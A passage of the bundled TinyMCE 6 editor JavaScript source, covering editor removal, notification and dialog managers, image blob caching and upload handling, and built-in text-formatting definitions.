        settingNames.push('forced_root_block (false only)');
      }
      return sort(settingNames);
    };
    const getRemovedPlugins = options => {
      const plugins = Tools.makeMap(options.plugins, ' ');
      const hasPlugin = plugin => has$2(plugins, plugin);
      const pluginNames = filter$5(removedPlugins, hasPlugin);
      return sort(pluginNames);
    };
    const logRemovedWarnings = (rawOptions, normalizedOptions) => {
      const removedOptions = getRemovedOptions(rawOptions);
      const removedPlugins = getRemovedPlugins(normalizedOptions);
      const hasRemovedPlugins = removedPlugins.length > 0;
      const hasRemovedOptions = removedOptions.length > 0;
      const isLegacyMobileTheme = normalizedOptions.theme === 'mobile';
      if (hasRemovedPlugins || hasRemovedOptions || isLegacyMobileTheme) {
        const listJoiner = '\n- ';
        const themesMessage = isLegacyMobileTheme ? `\n\nThemes:${ listJoiner }mobile` : '';
        const pluginsMessage = hasRemovedPlugins ? `\n\nPlugins:${ listJoiner }${ removedPlugins.join(listJoiner) }` : '';
        const optionsMessage = hasRemovedOptions ? `\n\nOptions:${ listJoiner }${ removedOptions.join(listJoiner) }` : '';
        console.warn('The following deprecated features are currently enabled and have been removed in TinyMCE 6.0. These features will no longer work and should be removed from the TinyMCE configuration. ' + 'See https://www.tiny.cloud/docs/tinymce/6/migration-from-5x/ for more information.' + themesMessage + pluginsMessage + optionsMessage);
      }
    };
    const logWarnings = (rawOptions, normalizedOptions) => {
      logRemovedWarnings(rawOptions, normalizedOptions);
    };

    const DOM$8 = DOMUtils.DOM;
    const restoreOriginalStyles = editor => {
      DOM$8.setStyle(editor.id, 'display', editor.orgDisplay);
    };
    const safeDestroy = x => Optional.from(x).each(x => x.destroy());
    const clearDomReferences = editor => {
      const ed = editor;
      ed.contentAreaContainer = ed.formElement = ed.container = ed.editorContainer = null;
      ed.bodyElement = ed.contentDocument = ed.contentWindow = null;
      ed.iframeElement = ed.targetElm = null;
      const selection = editor.selection;
      if (selection) {
        const dom = selection.dom;
        ed.selection = selection.win = selection.dom = dom.doc = null;
      }
    };
    const restoreForm = editor => {
      const form = editor.formElement;
      if (form) {
        if (form._mceOldSubmit) {
          form.submit = form._mceOldSubmit;
          delete form._mceOldSubmit;
        }
        DOM$8.unbind(form, 'submit reset', editor.formEventDelegate);
      }
    };
    const remove$1 = editor => {
      if (!editor.removed) {
        const {_selectionOverrides, editorUpload} = editor;
        const body = editor.getBody();
        const element = editor.getElement();
        if (body) {
          editor.save({ is_removing: true });
        }
        editor.removed = true;
        editor.unbindAllNativeEvents();
        if (editor.hasHiddenInput && isNonNullable(element === null || element === void 0 ? void 0 : element.nextSibling)) {
          DOM$8.remove(element.nextSibling);
        }
        fireRemove(editor);
        editor.editorManager.remove(editor);
        if (!editor.inline && body) {
          restoreOriginalStyles(editor);
        }
        fireDetach(editor);
        DOM$8.remove(editor.getContainer());
        safeDestroy(_selectionOverrides);
        safeDestroy(editorUpload);
        editor.destroy();
      }
    };
    const destroy = (editor, automatic) => {
      const {selection, dom} = editor;
      if (editor.destroyed) {
        return;
      }
      if (!automatic && !editor.removed) {
        editor.remove();
        return;
      }
      if (!automatic) {
        editor.editorManager.off('beforeunload', editor._beforeUnload);
        if (editor.theme && editor.theme.destroy) {
          editor.theme.destroy();
        }
        safeDestroy(selection);
        safeDestroy(dom);
      }
      restoreForm(editor);
      clearDomReferences(editor);
      editor.destroyed = true;
    };

    const CreateIconManager = () => {
      const lookup = {};
      const add = (id, iconPack) => {
        lookup[id] = iconPack;
      };
      const get = id => {
        if (lookup[id]) {
          return lookup[id];
        } else {
          return { icons: {} };
        }
      };
      const has = id => has$2(lookup, id);
      return {
        add,
        get,
        has
      };
    };
    const IconManager = CreateIconManager();

    const ModelManager = AddOnManager.ModelManager;

    const getProp = (propName, elm) => {
      const rawElm = elm.dom;
      return rawElm[propName];
    };
    const getComputedSizeProp = (propName, elm) => parseInt(get$7(elm, propName), 10);
    const getClientWidth = curry(getProp, 'clientWidth');
    const getClientHeight = curry(getProp, 'clientHeight');
    const getMarginTop = curry(getComputedSizeProp, 'margin-top');
    const getMarginLeft = curry(getComputedSizeProp, 'margin-left');
    const getBoundingClientRect = elm => elm.dom.getBoundingClientRect();
    const isInsideElementContentArea = (bodyElm, clientX, clientY) => {
      const clientWidth = getClientWidth(bodyElm);
      const clientHeight = getClientHeight(bodyElm);
      return clientX >= 0 && clientY >= 0 && clientX <= clientWidth && clientY <= clientHeight;
    };
    const transpose = (inline, elm, clientX, clientY) => {
      const clientRect = getBoundingClientRect(elm);
      const deltaX = inline ? clientRect.left + elm.dom.clientLeft + getMarginLeft(elm) : 0;
      const deltaY = inline ? clientRect.top + elm.dom.clientTop + getMarginTop(elm) : 0;
      const x = clientX - deltaX;
      const y = clientY - deltaY;
      return {
        x,
        y
      };
    };
    const isXYInContentArea = (editor, clientX, clientY) => {
      const bodyElm = SugarElement.fromDom(editor.getBody());
      const targetElm = editor.inline ? bodyElm : documentElement(bodyElm);
      const transposedPoint = transpose(editor.inline, targetElm, clientX, clientY);
      return isInsideElementContentArea(targetElm, transposedPoint.x, transposedPoint.y);
    };
    const fromDomSafe = node => Optional.from(node).map(SugarElement.fromDom);
    const isEditorAttachedToDom = editor => {
      const rawContainer = editor.inline ? editor.getBody() : editor.getContentAreaContainer();
      return fromDomSafe(rawContainer).map(inBody).getOr(false);
    };

    var NotificationManagerImpl = () => {
      const unimplemented = () => {
        throw new Error('Theme did not provide a NotificationManager implementation.');
      };
      return {
        open: unimplemented,
        close: unimplemented,
        getArgs: unimplemented
      };
    };

    const NotificationManager = editor => {
      const notifications = [];
      const getImplementation = () => {
        const theme = editor.theme;
        return theme && theme.getNotificationManagerImpl ? theme.getNotificationManagerImpl() : NotificationManagerImpl();
      };
      const getTopNotification = () => {
        return Optional.from(notifications[0]);
      };
      const isEqual = (a, b) => {
        return a.type === b.type && a.text === b.text && !a.progressBar && !a.timeout && !b.progressBar && !b.timeout;
      };
      const reposition = () => {
        each$e(notifications, notification => {
          notification.reposition();
        });
      };
      const addNotification = notification => {
        notifications.push(notification);
      };
      const closeNotification = notification => {
        findIndex$2(notifications, otherNotification => {
          return otherNotification === notification;
        }).each(index => {
          notifications.splice(index, 1);
        });
      };
      const open = (spec, fireEvent = true) => {
        if (editor.removed || !isEditorAttachedToDom(editor)) {
          return {};
        }
        if (fireEvent) {
          editor.dispatch('BeforeOpenNotification', { notification: spec });
        }
        return find$2(notifications, notification => {
          return isEqual(getImplementation().getArgs(notification), spec);
        }).getOrThunk(() => {
          editor.editorManager.setActive(editor);
          const notification = getImplementation().open(spec, () => {
            closeNotification(notification);
            reposition();
            getTopNotification().fold(() => editor.focus(), top => focus$1(SugarElement.fromDom(top.getEl())));
          });
          addNotification(notification);
          reposition();
          editor.dispatch('OpenNotification', { notification: { ...notification } });
          return notification;
        });
      };
      const close = () => {
        getTopNotification().each(notification => {
          getImplementation().close(notification);
          closeNotification(notification);
          reposition();
        });
      };
      const getNotifications = constant(notifications);
      const registerEvents = editor => {
        editor.on('SkinLoaded', () => {
          const serviceMessage = getServiceMessage(editor);
          if (serviceMessage) {
            open({
              text: serviceMessage,
              type: 'warning',
              timeout: 0
            }, false);
          }
          reposition();
        });
        editor.on('show ResizeEditor ResizeWindow NodeChange', () => {
          requestAnimationFrame(reposition);
        });
        editor.on('remove', () => {
          each$e(notifications.slice(), notification => {
            getImplementation().close(notification);
          });
        });
      };
      registerEvents(editor);
      return {
        open,
        close,
        getNotifications
      };
    };

    const PluginManager = AddOnManager.PluginManager;

    const ThemeManager = AddOnManager.ThemeManager;

    var WindowManagerImpl = () => {
      const unimplemented = () => {
        throw new Error('Theme did not provide a WindowManager implementation.');
      };
      return {
        open: unimplemented,
        openUrl: unimplemented,
        alert: unimplemented,
        confirm: unimplemented,
        close: unimplemented
      };
    };

    const WindowManager = editor => {
      let dialogs = [];
      const getImplementation = () => {
        const theme = editor.theme;
        return theme && theme.getWindowManagerImpl ? theme.getWindowManagerImpl() : WindowManagerImpl();
      };
      const funcBind = (scope, f) => {
        return (...args) => {
          return f ? f.apply(scope, args) : undefined;
        };
      };
      const fireOpenEvent = dialog => {
        editor.dispatch('OpenWindow', { dialog });
      };
      const fireCloseEvent = dialog => {
        editor.dispatch('CloseWindow', { dialog });
      };
      const addDialog = dialog => {
        dialogs.push(dialog);
        fireOpenEvent(dialog);
      };
      const closeDialog = dialog => {
        fireCloseEvent(dialog);
        dialogs = filter$5(dialogs, otherDialog => {
          return otherDialog !== dialog;
        });
        if (dialogs.length === 0) {
          editor.focus();
        }
      };
      const getTopDialog = () => {
        return Optional.from(dialogs[dialogs.length - 1]);
      };
      const storeSelectionAndOpenDialog = openDialog => {
        editor.editorManager.setActive(editor);
        store(editor);
        editor.ui.show();
        const dialog = openDialog();
        addDialog(dialog);
        return dialog;
      };
      const open = (args, params) => {
        return storeSelectionAndOpenDialog(() => getImplementation().open(args, params, closeDialog));
      };
      const openUrl = args => {
        return storeSelectionAndOpenDialog(() => getImplementation().openUrl(args, closeDialog));
      };
      const alert = (message, callback, scope) => {
        const windowManagerImpl = getImplementation();
        windowManagerImpl.alert(message, funcBind(scope ? scope : windowManagerImpl, callback));
      };
      const confirm = (message, callback, scope) => {
        const windowManagerImpl = getImplementation();
        windowManagerImpl.confirm(message, funcBind(scope ? scope : windowManagerImpl, callback));
      };
      const close = () => {
        getTopDialog().each(dialog => {
          getImplementation().close(dialog);
          closeDialog(dialog);
        });
      };
      editor.on('remove', () => {
        each$e(dialogs, dialog => {
          getImplementation().close(dialog);
        });
      });
      return {
        open,
        openUrl,
        alert,
        confirm,
        close
      };
    };

    const displayNotification = (editor, message) => {
      editor.notificationManager.open({
        type: 'error',
        text: message
      });
    };
    const displayError = (editor, message) => {
      if (editor._skinLoaded) {
        displayNotification(editor, message);
      } else {
        editor.on('SkinLoaded', () => {
          displayNotification(editor, message);
        });
      }
    };
    const uploadError = (editor, message) => {
      displayError(editor, I18n.translate([
        'Failed to upload image: {0}',
        message
      ]));
    };
    const logError = (editor, errorType, msg) => {
      fireError(editor, errorType, { message: msg });
      console.error(msg);
    };
    const createLoadError = (type, url, name) => name ? `Failed to load ${ type }: ${ name } from url ${ url }` : `Failed to load ${ type } url: ${ url }`;
    const pluginLoadError = (editor, url, name) => {
      logError(editor, 'PluginLoadError', createLoadError('plugin', url, name));
    };
    const iconsLoadError = (editor, url, name) => {
      logError(editor, 'IconsLoadError', createLoadError('icons', url, name));
    };
    const languageLoadError = (editor, url, name) => {
      logError(editor, 'LanguageLoadError', createLoadError('language', url, name));
    };
    const themeLoadError = (editor, url, name) => {
      logError(editor, 'ThemeLoadError', createLoadError('theme', url, name));
    };
    const modelLoadError = (editor, url, name) => {
      logError(editor, 'ModelLoadError', createLoadError('model', url, name));
    };
    const pluginInitError = (editor, name, err) => {
      const message = I18n.translate([
        'Failed to initialize plugin: {0}',
        name
      ]);
      fireError(editor, 'PluginLoadError', { message });
      initError(message, err);
      displayError(editor, message);
    };
    const initError = (message, ...x) => {
      const console = window.console;
      if (console) {
        if (console.error) {
          console.error(message, ...x);
        } else {
          console.log(message, ...x);
        }
      }
    };

    const isContentCssSkinName = url => /^[a-z0-9\-]+$/i.test(url);
    const getContentCssUrls = editor => {
      return transformToUrls(editor, getContentCss(editor));
    };
    const getFontCssUrls = editor => {
      return transformToUrls(editor, getFontCss(editor));
    };
    const transformToUrls = (editor, cssLinks) => {
      const skinUrl = editor.editorManager.baseURL + '/skins/content';
      const suffix = editor.editorManager.suffix;
      const contentCssFile = `content${ suffix }.css`;
      return map$3(cssLinks, url => {
        if (isContentCssSkinName(url) && !editor.inline) {
          return `${ skinUrl }/${ url }/${ contentCssFile }`;
        } else {
          return editor.documentBaseURI.toAbsolute(url);
        }
      });
    };
    const appendContentCssFromSettings = editor => {
      editor.contentCSS = editor.contentCSS.concat(getContentCssUrls(editor), getFontCssUrls(editor));
    };

    const filter$1 = always;
    const bind$1 = (element, event, handler) => bind$2(element, event, filter$1, handler);

    const getAllImages = elm => {
      return elm ? from(elm.getElementsByTagName('img')) : [];
    };
    const ImageScanner = (uploadStatus, blobCache) => {
      const cachedPromises = {};
      const findAll = (elm, predicate = always) => {
        const images = filter$5(getAllImages(elm), img => {
          const src = img.src;
          if (img.hasAttribute('data-mce-bogus')) {
            return false;
          }
          if (img.hasAttribute('data-mce-placeholder')) {
            return false;
          }
          if (!src || src === Env.transparentSrc) {
            return false;
          }
          if (startsWith(src, 'blob:')) {
            return !uploadStatus.isUploaded(src) && predicate(img);
          }
          if (startsWith(src, 'data:')) {
            return predicate(img);
          }
          return false;
        });
        const promises = map$3(images, img => {
          const imageSrc = img.src;
          if (has$2(cachedPromises, imageSrc)) {
            return cachedPromises[imageSrc].then(imageInfo => {
              if (isString(imageInfo)) {
                return imageInfo;
              } else {
                return {
                  image: img,
                  blobInfo: imageInfo.blobInfo
                };
              }
            });
          } else {
            const newPromise = imageToBlobInfo(blobCache, imageSrc).then(blobInfo => {
              delete cachedPromises[imageSrc];
              return {
                image: img,
                blobInfo
              };
            }).catch(error => {
              delete cachedPromises[imageSrc];
              return error;
            });
            cachedPromises[imageSrc] = newPromise;
            return newPromise;
          }
        });
        return Promise.all(promises);
      };
      return { findAll };
    };

    const UploadStatus = () => {
      const PENDING = 1, UPLOADED = 2;
      let blobUriStatuses = {};
      const createStatus = (status, resultUri) => {
        return {
          status,
          resultUri
        };
      };
      const hasBlobUri = blobUri => {
        return blobUri in blobUriStatuses;
      };
      const getResultUri = blobUri => {
        const result = blobUriStatuses[blobUri];
        return result ? result.resultUri : null;
      };
      const isPending = blobUri => {
        return hasBlobUri(blobUri) ? blobUriStatuses[blobUri].status === PENDING : false;
      };
      const isUploaded = blobUri => {
        return hasBlobUri(blobUri) ? blobUriStatuses[blobUri].status === UPLOADED : false;
      };
      const markPending = blobUri => {
        blobUriStatuses[blobUri] = createStatus(PENDING, null);
      };
      const markUploaded = (blobUri, resultUri) => {
        blobUriStatuses[blobUri] = createStatus(UPLOADED, resultUri);
      };
      const removeFailed = blobUri => {
        delete blobUriStatuses[blobUri];
      };
      const destroy = () => {
        blobUriStatuses = {};
      };
      return {
        hasBlobUri,
        getResultUri,
        isPending,
        isUploaded,
        markPending,
        markUploaded,
        removeFailed,
        destroy
      };
    };

    let count = 0;
    const seed = () => {
      const rnd = () => {
        return Math.round(Math.random() * 4294967295).toString(36);
      };
      const now = new Date().getTime();
      return 's' + now.toString(36) + rnd() + rnd() + rnd();
    };
    const uuid = prefix => {
      return prefix + count++ + seed();
    };

    const BlobCache = () => {
      let cache = [];
      const mimeToExt = mime => {
        const mimes = {
          'image/jpeg': 'jpg',
          'image/jpg': 'jpg',
          'image/gif': 'gif',
          'image/png': 'png',
          'image/apng': 'apng',
          'image/avif': 'avif',
          'image/svg+xml': 'svg',
          'image/webp': 'webp',
          'image/bmp': 'bmp',
          'image/tiff': 'tiff'
        };
        return mimes[mime.toLowerCase()] || 'dat';
      };
      const create = (o, blob, base64, name, filename) => {
        if (isString(o)) {
          const id = o;
          return toBlobInfo({
            id,
            name,
            filename,
            blob: blob,
            base64: base64
          });
        } else if (isObject(o)) {
          return toBlobInfo(o);
        } else {
          throw new Error('Unknown input type');
        }
      };
      const toBlobInfo = o => {
        if (!o.blob || !o.base64) {
          throw new Error('blob and base64 representations of the image are required for BlobInfo to be created');
        }
        const id = o.id || uuid('blobid');
        const name = o.name || id;
        const blob = o.blob;
        return {
          id: constant(id),
          name: constant(name),
          filename: constant(o.filename || name + '.' + mimeToExt(blob.type)),
          blob: constant(blob),
          base64: constant(o.base64),
          blobUri: constant(o.blobUri || URL.createObjectURL(blob)),
          uri: constant(o.uri)
        };
      };
      const add = blobInfo => {
        if (!get(blobInfo.id())) {
          cache.push(blobInfo);
        }
      };
      const findFirst = predicate => find$2(cache, predicate).getOrUndefined();
      const get = id => findFirst(cachedBlobInfo => cachedBlobInfo.id() === id);
      const getByUri = blobUri => findFirst(blobInfo => blobInfo.blobUri() === blobUri);
      const getByData = (base64, type) => findFirst(blobInfo => blobInfo.base64() === base64 && blobInfo.blob().type === type);
      const removeByUri = blobUri => {
        cache = filter$5(cache, blobInfo => {
          if (blobInfo.blobUri() === blobUri) {
            URL.revokeObjectURL(blobInfo.blobUri());
            return false;
          }
          return true;
        });
      };
      const destroy = () => {
        each$e(cache, cachedBlobInfo => {
          URL.revokeObjectURL(cachedBlobInfo.blobUri());
        });
        cache = [];
      };
      return {
        create,
        add,
        get,
        getByUri,
        getByData,
        findFirst,
        removeByUri,
        destroy
      };
    };

    const Uploader = (uploadStatus, settings) => {
      const pendingPromises = {};
      const pathJoin = (path1, path2) => {
        if (path1) {
          return path1.replace(/\/$/, '') + '/' + path2.replace(/^\//, '');
        }
        return path2;
      };
      const defaultHandler = (blobInfo, progress) => new Promise((success, failure) => {
        const xhr = new XMLHttpRequest();
        xhr.open('POST', settings.url);
        xhr.withCredentials = settings.credentials;
        xhr.upload.onprogress = e => {
          progress(e.loaded / e.total * 100);
        };
        xhr.onerror = () => {
          failure('Image upload failed due to a XHR Transport error. Code: ' + xhr.status);
        };
        xhr.onload = () => {
          if (xhr.status < 200 || xhr.status >= 300) {
            failure('HTTP Error: ' + xhr.status);
            return;
          }
          const json = JSON.parse(xhr.responseText);
          if (!json || !isString(json.location)) {
            failure('Invalid JSON: ' + xhr.responseText);
            return;
          }
          success(pathJoin(settings.basePath, json.location));
        };
        const formData = new FormData();
        formData.append('file', blobInfo.blob(), blobInfo.filename());
        xhr.send(formData);
      });
      const uploadHandler = isFunction(settings.handler) ? settings.handler : defaultHandler;
      const noUpload = () => new Promise(resolve => {
        resolve([]);
      });
      const handlerSuccess = (blobInfo, url) => ({
        url,
        blobInfo,
        status: true
      });
      const handlerFailure = (blobInfo, error) => ({
        url: '',
        blobInfo,
        status: false,
        error
      });
      const resolvePending = (blobUri, result) => {
        Tools.each(pendingPromises[blobUri], resolve => {
          resolve(result);
        });
        delete pendingPromises[blobUri];
      };
      const uploadBlobInfo = (blobInfo, handler, openNotification) => {
        uploadStatus.markPending(blobInfo.blobUri());
        return new Promise(resolve => {
          let notification;
          let progress;
          try {
            const closeNotification = () => {
              if (notification) {
                notification.close();
                progress = noop;
              }
            };
            const success = url => {
              closeNotification();
              uploadStatus.markUploaded(blobInfo.blobUri(), url);
              resolvePending(blobInfo.blobUri(), handlerSuccess(blobInfo, url));
              resolve(handlerSuccess(blobInfo, url));
            };
            const failure = error => {
              closeNotification();
              uploadStatus.removeFailed(blobInfo.blobUri());
              resolvePending(blobInfo.blobUri(), handlerFailure(blobInfo, error));
              resolve(handlerFailure(blobInfo, error));
            };
            progress = percent => {
              if (percent < 0 || percent > 100) {
                return;
              }
              Optional.from(notification).orThunk(() => Optional.from(openNotification).map(apply$1)).each(n => {
                notification = n;
                n.progressBar.value(percent);
              });
            };
            handler(blobInfo, progress).then(success, err => {
              failure(isString(err) ? { message: err } : err);
            });
          } catch (ex) {
            resolve(handlerFailure(blobInfo, ex));
          }
        });
      };
      const isDefaultHandler = handler => handler === defaultHandler;
      const pendingUploadBlobInfo = blobInfo => {
        const blobUri = blobInfo.blobUri();
        return new Promise(resolve => {
          pendingPromises[blobUri] = pendingPromises[blobUri] || [];
          pendingPromises[blobUri].push(resolve);
        });
      };
      const uploadBlobs = (blobInfos, openNotification) => {
        blobInfos = Tools.grep(blobInfos, blobInfo => !uploadStatus.isUploaded(blobInfo.blobUri()));
        return Promise.all(Tools.map(blobInfos, blobInfo => uploadStatus.isPending(blobInfo.blobUri()) ? pendingUploadBlobInfo(blobInfo) : uploadBlobInfo(blobInfo, uploadHandler, openNotification)));
      };
      const upload = (blobInfos, openNotification) => !settings.url && isDefaultHandler(uploadHandler) ? noUpload() : uploadBlobs(blobInfos, openNotification);
      return { upload };
    };

    const openNotification = editor => () => editor.notificationManager.open({
      text: editor.translate('Image uploading...'),
      type: 'info',
      timeout: -1,
      progressBar: true
    });
    const createUploader = (editor, uploadStatus) => Uploader(uploadStatus, {
      url: getImageUploadUrl(editor),
      basePath: getImageUploadBasePath(editor),
      credentials: getImagesUploadCredentials(editor),
      handler: getImagesUploadHandler(editor)
    });
    const ImageUploader = editor => {
      const uploadStatus = UploadStatus();
      const uploader = createUploader(editor, uploadStatus);
      return { upload: (blobInfos, showNotification = true) => uploader.upload(blobInfos, showNotification ? openNotification(editor) : undefined) };
    };

    const EditorUpload = editor => {
      const blobCache = BlobCache();
      let uploader, imageScanner;
      const uploadStatus = UploadStatus();
      const urlFilters = [];
      const aliveGuard = callback => {
        return result => {
          if (editor.selection) {
            return callback(result);
          }
          return [];
        };
      };
      const cacheInvalidator = url => url + (url.indexOf('?') === -1 ? '?' : '&') + new Date().getTime();
      const replaceString = (content, search, replace) => {
        let index = 0;
        do {
          index = content.indexOf(search, index);
          if (index !== -1) {
            content = content.substring(0, index) + replace + content.substr(index + search.length);
            index += replace.length - search.length + 1;
          }
        } while (index !== -1);
        return content;
      };
      const replaceImageUrl = (content, targetUrl, replacementUrl) => {
        const replacementString = `src="${ replacementUrl }"${ replacementUrl === Env.transparentSrc ? ' data-mce-placeholder="1"' : '' }`;
        content = replaceString(content, `src="${ targetUrl }"`, replacementString);
        content = replaceString(content, 'data-mce-src="' + targetUrl + '"', 'data-mce-src="' + replacementUrl + '"');
        return content;
      };
      const replaceUrlInUndoStack = (targetUrl, replacementUrl) => {
        each$e(editor.undoManager.data, level => {
          if (level.type === 'fragmented') {
            level.fragments = map$3(level.fragments, fragment => replaceImageUrl(fragment, targetUrl, replacementUrl));
          } else {
            level.content = replaceImageUrl(level.content, targetUrl, replacementUrl);
          }
        });
      };
      const replaceImageUriInView = (image, resultUri) => {
        const src = editor.convertURL(resultUri, 'src');
        replaceUrlInUndoStack(image.src, resultUri);
        setAll$1(SugarElement.fromDom(image), {
          'src': shouldReuseFileName(editor) ? cacheInvalidator(resultUri) : resultUri,
          'data-mce-src': src
        });
      };
      const uploadImages = () => {
        if (!uploader) {
          uploader = createUploader(editor, uploadStatus);
        }
        return scanForImages().then(aliveGuard(imageInfos => {
          const blobInfos = map$3(imageInfos, imageInfo => imageInfo.blobInfo);
          return uploader.upload(blobInfos, openNotification(editor)).then(aliveGuard(result => {
            const imagesToRemove = [];
            let shouldDispatchChange = false;
            const filteredResult = map$3(result, (uploadInfo, index) => {
              const {blobInfo, image} = imageInfos[index];
              let removed = false;
              if (uploadInfo.status && shouldReplaceBlobUris(editor)) {
                if (uploadInfo.url && !contains$1(image.src, uploadInfo.url)) {
                  shouldDispatchChange = true;
                }
                blobCache.removeByUri(image.src);
                if (isRtc(editor)) ; else {
                  replaceImageUriInView(image, uploadInfo.url);
                }
              } else if (uploadInfo.error) {
                if (uploadInfo.error.remove) {
                  replaceUrlInUndoStack(image.src, Env.transparentSrc);
                  imagesToRemove.push(image);
                  removed = true;
                }
                uploadError(editor, uploadInfo.error.message);
              }
              return {
                element: image,
                status: uploadInfo.status,
                uploadUri: uploadInfo.url,
                blobInfo,
                removed
              };
            });
            if (imagesToRemove.length > 0 && !isRtc(editor)) {
              editor.undoManager.transact(() => {
                each$e(imagesToRemove, element => {
                  editor.dom.remove(element);
                  blobCache.removeByUri(element.src);
                });
              });
            } else if (shouldDispatchChange) {
              editor.undoManager.dispatchChange();
            }
            return filteredResult;
          }));
        }));
      };
      const uploadImagesAuto = () => isAutomaticUploadsEnabled(editor) ? uploadImages() : Promise.resolve([]);
      const isValidDataUriImage = imgElm => forall(urlFilters, filter => filter(imgElm));
      const addFilter = filter => {
        urlFilters.push(filter);
      };
      const scanForImages = () => {
        if (!imageScanner) {
          imageScanner = ImageScanner(uploadStatus, blobCache);
        }
        return imageScanner.findAll(editor.getBody(), isValidDataUriImage).then(aliveGuard(result => {
          const filteredResult = filter$5(result, resultItem => {
            if (isString(resultItem)) {
              displayError(editor, resultItem);
              return false;
            } else {
              return true;
            }
          });
          if (isRtc(editor)) ; else {
            each$e(filteredResult, resultItem => {
              replaceUrlInUndoStack(resultItem.image.src, resultItem.blobInfo.blobUri());
              resultItem.image.src = resultItem.blobInfo.blobUri();
              resultItem.image.removeAttribute('data-mce-src');
            });
          }
          return filteredResult;
        }));
      };
      const destroy = () => {
        blobCache.destroy();
        uploadStatus.destroy();
        imageScanner = uploader = null;
      };
      const replaceBlobUris = content => {
        return content.replace(/src="(blob:[^"]+)"/g, (match, blobUri) => {
          const resultUri = uploadStatus.getResultUri(blobUri);
          if (resultUri) {
            return 'src="' + resultUri + '"';
          }
          let blobInfo = blobCache.getByUri(blobUri);
          if (!blobInfo) {
            blobInfo = foldl(editor.editorManager.get(), (result, editor) => {
              return result || editor.editorUpload && editor.editorUpload.blobCache.getByUri(blobUri);
            }, undefined);
          }
          if (blobInfo) {
            const blob = blobInfo.blob();
            return 'src="data:' + blob.type + ';base64,' + blobInfo.base64() + '"';
          }
          return match;
        });
      };
      editor.on('SetContent', () => {
        if (isAutomaticUploadsEnabled(editor)) {
          uploadImagesAuto();
        } else {
          scanForImages();
        }
      });
      editor.on('RawSaveContent', e => {
        e.content = replaceBlobUris(e.content);
      });
      editor.on('GetContent', e => {
        if (e.source_view || e.format === 'raw' || e.format === 'tree') {
          return;
        }
        e.content = replaceBlobUris(e.content);
      });
      editor.on('PostRender', () => {
        editor.parser.addNodeFilter('img', images => {
          each$e(images, img => {
            const src = img.attr('src');
            if (!src || blobCache.getByUri(src)) {
              return;
            }
            const resultUri = uploadStatus.getResultUri(src);
            if (resultUri) {
              img.attr('src', resultUri);
            }
          });
        });
      });
      return {
        blobCache,
        addFilter,
        uploadImages,
        uploadImagesAuto,
        scanForImages,
        destroy
      };
    };

    const get$1 = editor => {
      const dom = editor.dom;
      const schemaType = editor.schema.type;
      const formats = {
        valigntop: [{
            selector: 'td,th',
            styles: { verticalAlign: 'top' }
          }],
        valignmiddle: [{
            selector: 'td,th',
            styles: { verticalAlign: 'middle' }
          }],
        valignbottom: [{
            selector: 'td,th',
            styles: { verticalAlign: 'bottom' }
          }],
        alignleft: [
          {
            selector: 'figure.image',
            collapsed: false,
            classes: 'align-left',
            ceFalseOverride: true,
            preview: 'font-family font-size'
          },
          {
            selector: 'figure,p,h1,h2,h3,h4,h5,h6,td,th,tr,div,ul,ol,li,pre',
            styles: { textAlign: 'left' },
            inherit: false,
            preview: false
          },
          {
            selector: 'img,audio,video',
            collapsed: false,
            styles: { float: 'left' },
            preview: 'font-family font-size'
          },
          {
            selector: 'table',
            collapsed: false,
            styles: {
              marginLeft: '0px',
              marginRight: 'auto'
            },
            onformat: table => {
              dom.setStyle(table, 'float', null);
            },
            preview: 'font-family font-size'
          },
          {
            selector: '.mce-preview-object,[data-ephox-embed-iri]',
            ceFalseOverride: true,
            styles: { float: 'left' }
          }
        ],
        aligncenter: [
          {
            selector: 'figure,p,h1,h2,h3,h4,h5,h6,td,th,tr,div,ul,ol,li,pre',
            styles: { textAlign: 'center' },
            inherit: false,
            preview: 'font-family font-size'
          },
          {
            selector: 'figure.image',
            collapsed: false,
            classes: 'align-center',
            ceFalseOverride: true,
            preview: 'font-family font-size'
          },
          {
            selector: 'img,audio,video',
            collapsed: false,
            styles: {
              display: 'block',
              marginLeft: 'auto',
              marginRight: 'auto'
            },
            preview: false
          },
          {
            selector: 'table',
            collapsed: false,
            styles: {
              marginLeft: 'auto',
              marginRight: 'auto'
            },
            preview: 'font-family font-size'
          },
          {
            selector: '.mce-preview-object',
            ceFalseOverride: true,
            styles: {
              display: 'table',
              marginLeft: 'auto',
              marginRight: 'auto'
            },
            preview: false
          },
          {
            selector: '[data-ephox-embed-iri]',
            ceFalseOverride: true,
            styles: {
              marginLeft: 'auto',
              marginRight: 'auto'
            },
            preview: false
          }
        ],
        alignright: [
          {
            selector: 'figure.image',
            collapsed: false,
            classes: 'align-right',
            ceFalseOverride: true,
            preview: 'font-family font-size'
          },
          {
            selector: 'figure,p,h1,h2,h3,h4,h5,h6,td,th,tr,div,ul,ol,li,pre',
            styles: { textAlign: 'right' },
            inherit: false,
            preview: 'font-family font-size'
          },
          {
            selector: 'img,audio,video',
            collapsed: false,
            styles: { float: 'right' },
            preview: 'font-family font-size'
          },
          {
            selector: 'table',
            collapsed: false,
            styles: {
              marginRight: '0px',
              marginLeft: 'auto'
            },
            onformat: table => {
              dom.setStyle(table, 'float', null);
            },
            preview: 'font-family font-size'
          },
          {
            selector: '.mce-preview-object,[data-ephox-embed-iri]',
            ceFalseOverride: true,
            styles: { float: 'right' },
            preview: false
          }
        ],
        alignjustify: [{
            selector: 'figure,p,h1,h2,h3,h4,h5,h6,td,th,tr,div,ul,ol,li,pre',
            styles: { textAlign: 'justify' },
            inherit: false,
            preview: 'font-family font-size'
          }],
        bold: [
          {
            inline: 'strong',
            remove: 'all',
            preserve_attributes: [
              'class',
              'style'
            ]
          },
          {
            inline: 'span',
            styles: { fontWeight: 'bold' }
          },
          {
            inline: 'b',
            remove: 'all',
            preserve_attributes: [
              'class',
              'style'
            ]
          }
        ],
        italic: [
          {
            inline: 'em',
            remove: 'all',
            preserve_attributes: [
              'class',
              'style'
            ]
          },
          {
            inline: 'span',
            styles: { fontStyle: 'italic' }
          },
          {
            inline: 'i',
            remove: 'all',
            preserve_attributes: [
              'class',
              'style'
            ]
          }
        ],
        underline: [
          {
            inline: 'span',
            styles: { textDecoration: 'underline' },
            exact: true
          },
          {
            inline: 'u',
            remove: 'all',
            preserve_attributes: [
              'class',
              'style'
            ]
          }
        ],
        strikethrough: (() => {
          const span = {
            inline: 'span',
            styles: { textDecoration: 'line-through' },
            exact: true
          };
          const strike = {
            inline: 'strike',
            remove: 'all',
            preserve_attributes: [
              'class',
              'style'
            ]
          };
          const s = {
            inline: 's',
            remove: 'all',
            preserve_attributes: [
              'class',
              'style'
            ]
          };
